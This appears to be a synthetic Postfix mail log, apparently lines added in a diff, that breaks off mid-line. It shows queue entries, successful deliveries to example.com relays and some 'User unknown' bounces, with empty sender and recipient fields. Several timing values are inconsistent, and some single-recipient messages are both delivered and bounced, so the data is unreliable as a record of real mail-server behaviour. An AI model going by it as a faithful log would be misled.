postfix/qmgr[1234]: <6890849419@mail.example.com>: from=, size=5082, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <6890849419@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.14, delays=0.05/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/qmgr[1234]: <4848891229@mail.example.com>: from=, size=3237, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <4848891229@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.65, delays=0.12/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/qmgr[1234]: <4307896834@mail.example.com>: from=, size=6622, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <4307896834@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.09, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/qmgr[1234]: <3175066171@mail.example.com>: from=, size=7962, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <3175066171@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.74, delays=0.08/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/qmgr[1234]: <5090072743@mail.example.com>: from=, size=3264, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <5090072743@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.48, delays=0.36/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/qmgr[1234]: <5014771391@mail.example.com>: from=, size=6356, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <5014771391@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.41, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/qmgr[1234]: <8482295832@mail.example.com>: from=, size=5676, nrcpt=1 (queue active) +Jul 02 12:04:20 mailserver postfix/smtp[5678]: <8482295832@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.62, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:20 mailserver postfix/smtp[5679]: <8482295832@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=1.52, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:04:25 mailserver postfix/qmgr[1234]: <8994357339@mail.example.com>: from=, size=3225, nrcpt=1 (queue active) +Jul 02 12:04:25 mailserver postfix/smtp[5678]: <8994357339@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.79, delays=0.33/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:25 mailserver postfix/qmgr[1234]: <4116941598@mail.example.com>: from=, size=7469, nrcpt=1 (queue active) +Jul 02 12:04:25 mailserver postfix/smtp[5678]: <4116941598@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.03, delays=0.21/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:25 mailserver postfix/qmgr[1234]: <6344485617@mail.example.com>: from=, size=5618, nrcpt=1 (queue active) +Jul 02 12:04:25 mailserver postfix/smtp[5678]: <6344485617@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.65, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:25 mailserver postfix/qmgr[1234]: <8046243464@mail.example.com>: from=, size=3783, nrcpt=1 (queue active) +Jul 02 12:04:25 mailserver postfix/smtp[5678]: <8046243464@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.61, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:25 mailserver postfix/qmgr[1234]: <9318417880@mail.example.com>: from=, size=5150, nrcpt=1 (queue active) +Jul 02 12:04:25 mailserver postfix/smtp[5678]: <9318417880@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.71, delays=0.14/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:25 mailserver postfix/qmgr[1234]: <5919196582@mail.example.com>: from=, size=1544, nrcpt=1 (queue active) +Jul 02 12:04:25 mailserver postfix/smtp[5678]: <5919196582@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.38, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:25 mailserver postfix/smtp[5679]: <5919196582@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=1.15, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:04:30 mailserver postfix/qmgr[1234]: <2282713508@mail.example.com>: from=, size=6403, nrcpt=1 (queue active) +Jul 02 12:04:30 mailserver postfix/smtp[5678]: <2282713508@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.56, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mailserver postfix/qmgr[1234]: <5308364740@mail.example.com>: from=, size=6280, nrcpt=1 (queue active) +Jul 02 12:04:30 mailserver postfix/smtp[5678]: <5308364740@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.94, delays=0.28/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mailserver postfix/qmgr[1234]: <6625009769@mail.example.com>: from=, size=4235, nrcpt=1 (queue active) +Jul 02 12:04:30 mailserver postfix/smtp[5678]: <6625009769@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.18, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mailserver postfix/qmgr[1234]: <6339695426@mail.example.com>: from=, size=7081, nrcpt=1 (queue active) +Jul 02 12:04:30 mailserver postfix/smtp[5678]: <6339695426@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.08, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mailserver postfix/qmgr[1234]: <6490355620@mail.example.com>: from=, size=7828, nrcpt=1 (queue active) +Jul 02 12:04:30 mailserver postfix/smtp[5678]: <6490355620@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.02, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mailserver postfix/qmgr[1234]: <2397963867@mail.example.com>: from=, size=5975, nrcpt=1 (queue active) +Jul 02 12:04:30 mailserver postfix/smtp[5678]: <2397963867@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.67, delays=0.47/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mailserver postfix/qmgr[1234]: <3775409730@mail.example.com>: from=, size=4216, nrcpt=1 (queue active) +Jul 02 12:04:30 mailserver postfix/smtp[5678]: <3775409730@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.99, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mailserver postfix/qmgr[1234]: <1622311607@mail.example.com>: from=, size=7198, nrcpt=1 (queue active) +Jul 02 12:04:30 mailserver postfix/smtp[5678]: <1622311607@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.70, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mailserver postfix/qmgr[1234]: <2626277835@mail.example.com>: from=, size=5075, nrcpt=1 (queue active) +Jul 02 12:04:30 mailserver postfix/smtp[5678]: <2626277835@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.17, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mailserver postfix/qmgr[1234]: <7631885775@mail.example.com>: from=, size=2768, nrcpt=1 (queue active) +Jul 02 12:04:30 mailserver postfix/smtp[5678]: <7631885775@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.28, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:35 mailserver postfix/qmgr[1234]: <6981674932@mail.example.com>: from=, size=7827, nrcpt=1 (queue active) +Jul 02 12:04:35 mailserver postfix/smtp[5678]: <6981674932@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.55, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:35 mailserver postfix/qmgr[1234]: <5096435894@mail.example.com>: from=, size=6699, nrcpt=1 (queue active) +Jul 02 12:04:35 mailserver postfix/smtp[5678]: <5096435894@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.56, delays=0.05/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:35 mailserver postfix/qmgr[1234]: <7255632792@mail.example.com>: from=, size=5016, nrcpt=1 (queue active) +Jul 02 12:04:35 mailserver postfix/smtp[5678]: <7255632792@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.69, delays=0.07/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:35 mailserver postfix/qmgr[1234]: <5835937321@mail.example.com>: from=, size=2601, nrcpt=1 (queue active) +Jul 02 12:04:35 mailserver postfix/smtp[5678]: <5835937321@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.05, delays=0.15/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:35 mailserver postfix/qmgr[1234]: <9894051389@mail.example.com>: from=, size=5815, nrcpt=1 (queue active) +Jul 02 12:04:35 mailserver postfix/smtp[5678]: <9894051389@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.32, delays=0.43/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:35 mailserver postfix/qmgr[1234]: <4518861805@mail.example.com>: from=, size=5682, nrcpt=1 (queue active) +Jul 02 12:04:35 mailserver postfix/smtp[5678]: <4518861805@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.69, delays=0.30/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:35 mailserver postfix/qmgr[1234]: <4551557222@mail.example.com>: from=, size=2090, nrcpt=1 (queue active) +Jul 02 12:04:35 mailserver postfix/smtp[5678]: <4551557222@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.50, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:35 mailserver postfix/qmgr[1234]: <4603582246@mail.example.com>: from=, size=3039, nrcpt=1 (queue active) +Jul 02 12:04:35 mailserver postfix/smtp[5678]: <4603582246@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.39, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:35 mailserver postfix/qmgr[1234]: <2027249222@mail.example.com>: from=, size=5153, nrcpt=1 (queue active) +Jul 02 12:04:35 mailserver postfix/smtp[5678]: <2027249222@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.08, delays=0.49/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:35 mailserver postfix/smtp[5679]: <2027249222@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=0.32, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <1831997919@mail.example.com>: from=, size=2644, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <1831997919@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.70, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <3757569211@mail.example.com>: from=, size=4056, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <3757569211@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.49, delays=0.12/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <8512674002@mail.example.com>: from=, size=7721, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <8512674002@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.73, delays=0.09/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <6800417700@mail.example.com>: from=, size=3738, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <6800417700@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.28, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <6119595345@mail.example.com>: from=, size=4996, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <6119595345@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.58, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <4009718335@mail.example.com>: from=, size=2063, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <4009718335@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.32, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <6654978519@mail.example.com>: from=, size=6743, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <6654978519@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.22, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <6991859748@mail.example.com>: from=, size=3354, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <6991859748@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.13, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <8310263341@mail.example.com>: from=, size=3228, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <8310263341@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.35, delays=0.32/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <8601352969@mail.example.com>: from=, size=6608, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <8601352969@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.03, delays=0.43/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <5773305006@mail.example.com>: from=, size=8168, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <5773305006@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.51, delays=0.25/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:40 mailserver postfix/qmgr[1234]: <2322733577@mail.example.com>: from=, size=7553, nrcpt=1 (queue active) +Jul 02 12:04:40 mailserver postfix/smtp[5678]: <2322733577@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.20, delays=0.02/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mailserver postfix/qmgr[1234]: <8436829643@mail.example.com>: from=, size=6512, nrcpt=1 (queue active) +Jul 02 12:04:45 mailserver postfix/smtp[5678]: <8436829643@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.22, delays=0.49/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mailserver postfix/qmgr[1234]: <7622023355@mail.example.com>: from=, size=7450, nrcpt=1 (queue active) +Jul 02 12:04:45 mailserver postfix/smtp[5678]: <7622023355@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.65, delays=0.40/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mailserver postfix/qmgr[1234]: <4215415197@mail.example.com>: from=, size=1705, nrcpt=1 (queue active) +Jul 02 12:04:45 mailserver postfix/smtp[5678]: <4215415197@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.94, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mailserver postfix/qmgr[1234]: <6901755180@mail.example.com>: from=, size=5786, nrcpt=1 (queue active) +Jul 02 12:04:45 mailserver postfix/smtp[5678]: <6901755180@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.10, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mailserver postfix/qmgr[1234]: <3678703921@mail.example.com>: from=, size=4174, nrcpt=1 (queue active) +Jul 02 12:04:45 mailserver postfix/smtp[5678]: <3678703921@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.94, delays=0.35/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mailserver postfix/qmgr[1234]: <7543943009@mail.example.com>: from=, size=3911, nrcpt=1 (queue active) +Jul 02 12:04:45 mailserver postfix/smtp[5678]: <7543943009@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.84, delays=0.27/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mailserver postfix/qmgr[1234]: <9300334336@mail.example.com>: from=, size=7804, nrcpt=1 (queue active) +Jul 02 12:04:45 mailserver postfix/smtp[5678]: <9300334336@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.58, delays=0.25/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mailserver postfix/qmgr[1234]: <7971273845@mail.example.com>: from=, size=3210, nrcpt=1 (queue active) +Jul 02 12:04:45 mailserver postfix/smtp[5678]: <7971273845@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.75, delays=0.19/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mailserver postfix/qmgr[1234]: <5347653010@mail.example.com>: from=, size=2115, nrcpt=1 (queue active) +Jul 02 12:04:45 mailserver postfix/smtp[5678]: <5347653010@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.45, delays=0.47/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mailserver postfix/smtp[5679]: <5347653010@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=1.29, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:04:50 mailserver postfix/qmgr[1234]: <6881771966@mail.example.com>: from=, size=3416, nrcpt=1 (queue active) +Jul 02 12:04:50 mailserver postfix/smtp[5678]: <6881771966@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.98, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:50 mailserver postfix/qmgr[1234]: <6747068254@mail.example.com>: from=, size=4846, nrcpt=1 (queue active) +Jul 02 12:04:50 mailserver postfix/smtp[5678]: <6747068254@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.50, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:50 mailserver postfix/qmgr[1234]: <1344602205@mail.example.com>: from=, size=5628, nrcpt=1 (queue active) +Jul 02 12:04:50 mailserver postfix/smtp[5678]: <1344602205@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.21, delays=0.34/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:50 mailserver postfix/qmgr[1234]: <4075420394@mail.example.com>: from=, size=7225, nrcpt=1 (queue active) +Jul 02 12:04:50 mailserver postfix/smtp[5678]: <4075420394@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.36, delays=0.09/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:50 mailserver postfix/qmgr[1234]: <6915633694@mail.example.com>: from=, size=5328, nrcpt=1 (queue active) +Jul 02 12:04:50 mailserver postfix/smtp[5678]: <6915633694@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.38, delays=0.45/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:50 mailserver postfix/qmgr[1234]: <6048007544@mail.example.com>: from=, size=7906, nrcpt=1 (queue active) +Jul 02 12:04:50 mailserver postfix/smtp[5678]: <6048007544@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.32, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:50 mailserver postfix/qmgr[1234]: <6990187756@mail.example.com>: from=, size=6029, nrcpt=1 (queue active) +Jul 02 12:04:50 mailserver postfix/smtp[5678]: <6990187756@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.36, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:50 mailserver postfix/qmgr[1234]: <6374320312@mail.example.com>: from=, size=6054, nrcpt=1 (queue active) +Jul 02 12:04:50 mailserver postfix/smtp[5678]: <6374320312@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.59, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:50 mailserver postfix/qmgr[1234]: <8087502814@mail.example.com>: from=, size=5886, nrcpt=1 (queue active) +Jul 02 12:04:50 mailserver postfix/smtp[5678]: <8087502814@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.70, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:55 mailserver postfix/qmgr[1234]: <7768815906@mail.example.com>: from=, size=4525, nrcpt=1 (queue active) +Jul 02 12:04:55 mailserver postfix/smtp[5678]: <7768815906@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.81, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:55 mailserver postfix/qmgr[1234]: <6996237360@mail.example.com>: from=, size=5252, nrcpt=1 (queue active) +Jul 02 12:04:55 mailserver postfix/smtp[5678]: <6996237360@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.22, delays=0.30/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:55 mailserver postfix/qmgr[1234]: <1413376196@mail.example.com>: from=, size=3531, nrcpt=1 (queue active) +Jul 02 12:04:55 mailserver postfix/smtp[5678]: <1413376196@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.03, delays=0.36/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:55 mailserver postfix/qmgr[1234]: <9144063632@mail.example.com>: from=, size=2368, nrcpt=1 (queue active) +Jul 02 12:04:55 mailserver postfix/smtp[5678]: <9144063632@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.11, delays=0.35/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:55 mailserver postfix/qmgr[1234]: <8118270329@mail.example.com>: from=, size=1473, nrcpt=1 (queue active) +Jul 02 12:04:55 mailserver postfix/smtp[5678]: <8118270329@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.72, delays=0.35/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:55 mailserver postfix/qmgr[1234]: <2735128106@mail.example.com>: from=, size=5011, nrcpt=1 (queue active) +Jul 02 12:04:55 mailserver postfix/smtp[5678]: <2735128106@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.51, delays=0.35/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:55 mailserver postfix/qmgr[1234]: <7301301542@mail.example.com>: from=, size=2249, nrcpt=1 (queue active) +Jul 02 12:04:55 mailserver postfix/smtp[5678]: <7301301542@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.91, delays=0.32/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:00 mailserver postfix/qmgr[1234]: <2323406448@mail.example.com>: from=, size=5828, nrcpt=1 (queue active) +Jul 02 12:05:00 mailserver postfix/smtp[5678]: <2323406448@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.53, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:00 mailserver postfix/qmgr[1234]: <9596247675@mail.example.com>: from=, size=1612, nrcpt=1 (queue active) +Jul 02 12:05:00 mailserver postfix/smtp[5678]: <9596247675@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.49, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:00 mailserver postfix/qmgr[1234]: <4239255490@mail.example.com>: from=, size=4291, nrcpt=1 (queue active) +Jul 02 12:05:00 mailserver postfix/smtp[5678]: <4239255490@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.30, delays=0.35/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:00 mailserver postfix/qmgr[1234]: <3520192597@mail.example.com>: from=, size=2318, nrcpt=1 (queue active) +Jul 02 12:05:00 mailserver postfix/smtp[5678]: <3520192597@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.84, delays=0.27/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:00 mailserver postfix/qmgr[1234]: <3058956138@mail.example.com>: from=, size=1177, nrcpt=1 (queue active) +Jul 02 12:05:00 mailserver postfix/smtp[5678]: <3058956138@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.39, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:00 mailserver postfix/qmgr[1234]: <1186813215@mail.example.com>: from=, size=6106, nrcpt=1 (queue active) +Jul 02 12:05:00 mailserver postfix/smtp[5678]: <1186813215@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.42, delays=0.28/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:00 mailserver postfix/qmgr[1234]: <9655703223@mail.example.com>: from=, size=3235, nrcpt=1 (queue active) +Jul 02 12:05:00 mailserver postfix/smtp[5678]: <9655703223@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.98, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:00 mailserver postfix/qmgr[1234]: <3737532861@mail.example.com>: from=, size=3673, nrcpt=1 (queue active) +Jul 02 12:05:00 mailserver postfix/smtp[5678]: <3737532861@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.97, delays=0.25/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:00 mailserver postfix/qmgr[1234]: <5949935463@mail.example.com>: from=, size=6377, nrcpt=1 (queue active) +Jul 02 12:05:00 mailserver postfix/smtp[5678]: <5949935463@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.91, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <9191737322@mail.example.com>: from=, size=3109, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <9191737322@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.88, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <9248844790@mail.example.com>: from=, size=8041, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <9248844790@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.71, delays=0.39/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <3875551215@mail.example.com>: from=, size=3350, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <3875551215@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.00, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: 